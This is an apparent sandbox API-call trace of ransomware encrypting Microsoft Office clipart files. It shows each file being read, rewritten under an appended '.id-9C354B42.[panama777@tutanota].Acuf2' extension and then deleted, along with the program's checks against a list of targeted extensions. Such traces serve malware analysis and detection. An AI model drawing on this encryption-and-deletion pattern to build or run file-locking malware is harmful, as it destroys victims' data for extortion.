	[0268.497] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0268.498] GetLastError () returned 0x0
	[0268.498] ReadFile (in: hFile=0x368, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x486, lpOverlapped=0x0) returned 1
	[0268.499] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x490, lpOverlapped=0x0) returned 1
	[0268.500] ReadFile (in: hFile=0x368, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.500] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.500] SetEndOfFile (hFile=0x390) returned 1
	[0268.500] CloseHandle (hObject=0x390) returned 1
	[0268.500] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.501] SetEndOfFile (hFile=0x368) returned 1
	[0268.502] CloseHandle (hObject=0x368) returned 1
	[0268.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf")) returned 1
	[0268.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63
	[0268.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63
	[0268.503] lstrlenW (lpString=".doc") returned 4
	[0268.503] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.503] lstrlenW (lpString=".docx") returned 5
	[0268.503] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.503] lstrlenW (lpString=".pdf") returned 4
	[0268.503] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.503] lstrlenW (lpString=".xls") returned 4
	[0268.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.503] lstrlenW (lpString=".xlsx") returned 5
	[0268.503] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.503] lstrlenW (lpString=".ppt") returned 4
	[0268.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63
	[0268.503] lstrlenW (lpString=".zip") returned 4
	[0268.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.503] lstrlenW (lpString=".rar") returned 4
	[0268.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.504] lstrlenW (lpString=".bz2") returned 4
	[0268.504] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.504] lstrlenW (lpString=".7z") returned 3
	[0268.504] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63
	[0268.504] lstrlenW (lpString=".dbf") returned 4
	[0268.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63
	[0268.504] lstrlenW (lpString=".1cd") returned 4
	[0268.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63
	[0268.504] lstrlenW (lpString=".jpg") returned 4
	[0268.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.504] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=9596) returned 1
	[0268.504] CloseHandle (hObject=0x368) returned 1
	[0268.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf")) returned 0x20
	[0268.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0268.505] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.505] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0268.505] GetLastError () returned 0x0
	[0268.505] ReadFile (in: hFile=0x368, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x257c, lpOverlapped=0x0) returned 1
	[0268.507] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x2580, lpOverlapped=0x0) returned 1
	[0268.508] ReadFile (in: hFile=0x368, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.508] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.508] SetEndOfFile (hFile=0x390) returned 1
	[0268.508] CloseHandle (hObject=0x390) returned 1
	[0268.508] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.508] SetEndOfFile (hFile=0x368) returned 1
	[0268.510] CloseHandle (hObject=0x368) returned 1
	[0268.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf")) returned 1
	[0268.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63
	[0268.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63
	[0268.511] lstrlenW (lpString=".doc") returned 4
	[0268.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.511] lstrlenW (lpString=".docx") returned 5
	[0268.511] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0268.511] lstrlenW (lpString=".pdf") returned 4
	[0268.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.511] lstrlenW (lpString=".xls") returned 4
	[0268.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.511] lstrlenW (lpString=".xlsx") returned 5
	[0268.511] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0268.511] lstrlenW (lpString=".ppt") returned 4
	[0268.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63
	[0268.511] lstrlenW (lpString=".zip") returned 4
	[0268.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.511] lstrlenW (lpString=".rar") returned 4
	[0268.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.511] lstrlenW (lpString=".bz2") returned 4
	[0268.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.511] lstrlenW (lpString=".7z") returned 3
	[0268.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63
	[0268.511] lstrlenW (lpString=".dbf") returned 4
	[0268.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63
	[0268.511] lstrlenW (lpString=".1cd") returned 4
	[0268.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63
	[0268.512] lstrlenW (lpString=".jpg") returned 4
	[0268.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.512] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=17016) returned 1
	[0268.512] CloseHandle (hObject=0x368) returned 1
	[0268.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf")) returned 0x20
	[0268.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0268.512] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.512] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0268.513] GetLastError () returned 0x0
	[0268.513] ReadFile (in: hFile=0x368, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x4278, lpOverlapped=0x0) returned 1
	[0268.515] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x4280, lpOverlapped=0x0) returned 1
	[0268.516] ReadFile (in: hFile=0x368, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.516] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.516] SetEndOfFile (hFile=0x390) returned 1
	[0268.516] CloseHandle (hObject=0x390) returned 1
	[0268.516] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.516] SetEndOfFile (hFile=0x368) returned 1
	[0268.520] CloseHandle (hObject=0x368) returned 1
	[0268.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf")) returned 1
	[0268.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63
	[0268.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63
	[0268.520] lstrlenW (lpString=".doc") returned 4
	[0268.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.520] lstrlenW (lpString=".docx") returned 5
	[0268.520] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0268.520] lstrlenW (lpString=".pdf") returned 4
	[0268.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.520] lstrlenW (lpString=".xls") returned 4
	[0268.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.520] lstrlenW (lpString=".xlsx") returned 5
	[0268.521] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0268.521] lstrlenW (lpString=".ppt") returned 4
	[0268.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63
	[0268.521] lstrlenW (lpString=".zip") returned 4
	[0268.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.521] lstrlenW (lpString=".rar") returned 4
	[0268.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.521] lstrlenW (lpString=".bz2") returned 4
	[0268.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.521] lstrlenW (lpString=".7z") returned 3
	[0268.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63
	[0268.521] lstrlenW (lpString=".dbf") returned 4
	[0268.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63
	[0268.521] lstrlenW (lpString=".1cd") returned 4
	[0268.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63
	[0268.521] lstrlenW (lpString=".jpg") returned 4
	[0268.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.522] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=21782) returned 1
	[0268.522] CloseHandle (hObject=0x368) returned 1
	[0268.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf")) returned 0x20
	[0268.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0268.522] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.522] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0268.522] GetLastError () returned 0x0
	[0268.522] ReadFile (in: hFile=0x368, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x5516, lpOverlapped=0x0) returned 1
	[0268.526] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x5520, lpOverlapped=0x0) returned 1
	[0268.527] ReadFile (in: hFile=0x368, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.527] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.527] SetEndOfFile (hFile=0x390) returned 1
	[0268.527] CloseHandle (hObject=0x390) returned 1
	[0268.527] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.527] SetEndOfFile (hFile=0x368) returned 1
	[0268.529] CloseHandle (hObject=0x368) returned 1
	[0268.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf")) returned 1
	[0268.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63
	[0268.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63
	[0268.530] lstrlenW (lpString=".doc") returned 4
	[0268.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.530] lstrlenW (lpString=".docx") returned 5
	[0268.530] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0268.530] lstrlenW (lpString=".pdf") returned 4
	[0268.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.530] lstrlenW (lpString=".xls") returned 4
	[0268.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.530] lstrlenW (lpString=".xlsx") returned 5
	[0268.530] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0268.530] lstrlenW (lpString=".ppt") returned 4
	[0268.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63
	[0268.530] lstrlenW (lpString=".zip") returned 4
	[0268.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.530] lstrlenW (lpString=".rar") returned 4
	[0268.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.530] lstrlenW (lpString=".bz2") returned 4
	[0268.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.531] lstrlenW (lpString=".7z") returned 3
	[0268.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63
	[0268.531] lstrlenW (lpString=".dbf") returned 4
	[0268.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63
	[0268.531] lstrlenW (lpString=".1cd") returned 4
	[0268.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63
	[0268.531] lstrlenW (lpString=".jpg") returned 4
	[0268.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.532] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=35346) returned 1
	[0268.532] CloseHandle (hObject=0x368) returned 1
	[0268.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf")) returned 0x20
	[0268.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0268.532] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.532] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0268.533] GetLastError () returned 0x0
	[0268.533] ReadFile (in: hFile=0x368, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x8a12, lpOverlapped=0x0) returned 1
	[0268.669] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x8a20, lpOverlapped=0x0) returned 1
	[0268.671] ReadFile (in: hFile=0x368, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.671] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.671] SetEndOfFile (hFile=0x390) returned 1
	[0268.671] CloseHandle (hObject=0x390) returned 1
	[0268.671] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.671] SetEndOfFile (hFile=0x368) returned 1
	[0268.675] CloseHandle (hObject=0x368) returned 1
	[0268.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf")) returned 1
	[0268.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63
	[0268.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63
